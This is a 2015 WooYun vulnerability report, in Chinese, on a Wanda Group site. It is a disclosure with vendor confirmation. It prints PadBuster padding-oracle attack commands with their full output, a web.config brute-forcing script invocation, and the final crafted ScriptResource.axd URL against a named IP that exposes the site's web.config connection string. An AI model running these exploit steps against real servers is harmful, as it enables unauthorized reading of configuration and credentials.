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缺陷编号:wooyun-2015-0136471

漏洞标题:万达集团旗下某站配置问题可读敏感信息

相关厂商:大连万达集团股份有限公司

漏洞作者: 水晶

提交时间:2015-08-24 14:20

修复时间:2015-10-08 14:54

公开时间:2015-10-08 14:54

漏洞类型:应用配置错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-08-24: 细节已通知厂商并且等待厂商处理中
2015-08-24: 厂商已经确认,细节仅向厂商公开
2015-09-03: 细节向核心白帽子及相关领域专家公开
2015-09-13: 细节向普通白帽子公开
2015-09-23: 细节向实习白帽子公开
2015-10-08: 细节向公众公开

简要描述:

万达集团旗下某站配置问题可读敏感信息

详细说明:

检测到http://59.108.36.117:8000/WebResource.axd?d=1440148493可能存在oracle padding漏洞

3.png

漏洞证明:

1.脚本探测
perl Padbuster.pl http://59.108.36.117:8000/WebResource.axd?d=9MBwmxN6TLKjC8S3CdFGyw2 9MBwmxN6TLKjC8S3CdFGyw2 16 -encoding 3 -plaintext "|||~/web.config"

+-------------------------------------------+
| PadBuster - v0.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 500
[+] Location: N/A
[+] Content Length: 4587
INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 1
INFO: No error string was provided...starting response analysis
ERROR: 500 Can't connect to 59.108.36.117:8000 (10060)
Retrying in 10 seconds...
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 500 3468 N/A
2 ** 255 500 4587 N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (224) [Byte 16]
[+] Success: (75) [Byte 15]
[+] Success: (19) [Byte 14]
[+] Success: (0) [Byte 13]
[+] Success: (128) [Byte 12]
[+] Success: (60) [Byte 11]
[+] Success: (172) [Byte 10]
ERROR: 500 Can't connect to 59.108.36.117:8000 (10060)
Retrying in 10 seconds...
[+] Success: (11) [Byte 9]
[+] Success: (191) [Byte 8]
[+] Success: (64) [Byte 7]
[+] Success: (231) [Byte 6]
[+] Success: (121) [Byte 5]
[+] Success: (249) [Byte 4]
[+] Success: (184) [Byte 3]
[+] Success: (112) [Byte 2]
[+] Success: (245) [Byte 1]
Block 1 Results:
[+] New Cipher Text (HEX): 9903ca8a5a9b2fd42dc855eb62792ee0
[+] Intermediate Bytes (HEX): e57fb6f475ec4ab603ab3a85041049e1
-------------------------------------------------------
** Finished ***
[+] Encrypted value is: mQPKilqbL9QtyFXrYnku4AAAAAAAAAAAAAAAAAAAAAA1


拿到了web.config的URL的加密地址:mQPKilqbL9QtyFXrYnku4AAAAAAAAAAAAAAAAAAAAAA1
2.利用脚本继续填充
perl Web.config_bruter.pl http://59.108.36.117:8000/ScriptResource.axd mQPKilqbL9QtyFXrYnku4AAAAAAAAAAAAAAAAAAAAAA1 16

1.png


得到了加密字符串:CX8PD2QimGkjB3nMBDaKRJkDyopamy_ULchV62J5LuAAAAAAAAAAAAAAAAAAAAAA0
3.这样就得到了Web.Config完整的访问地址
http://59.108.36.117:8000/ScriptResource.axd?d=CX8PD2QimGkjB3nMBDaKRJkDyopamy_ULchV62J5LuAAAAAAAAAAAAAAAAAAAAAA0

3.png


看到了连接字符串,虽然连的是本机,但是安全无大小,要注意这些细节啊。

修复方案:

升级补丁

版权声明:转载请注明来源 水晶@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-08-24 14:53

厂商回复:

感谢水晶同学的关注与贡献,马上通知业务整改!

最新状态:

暂无


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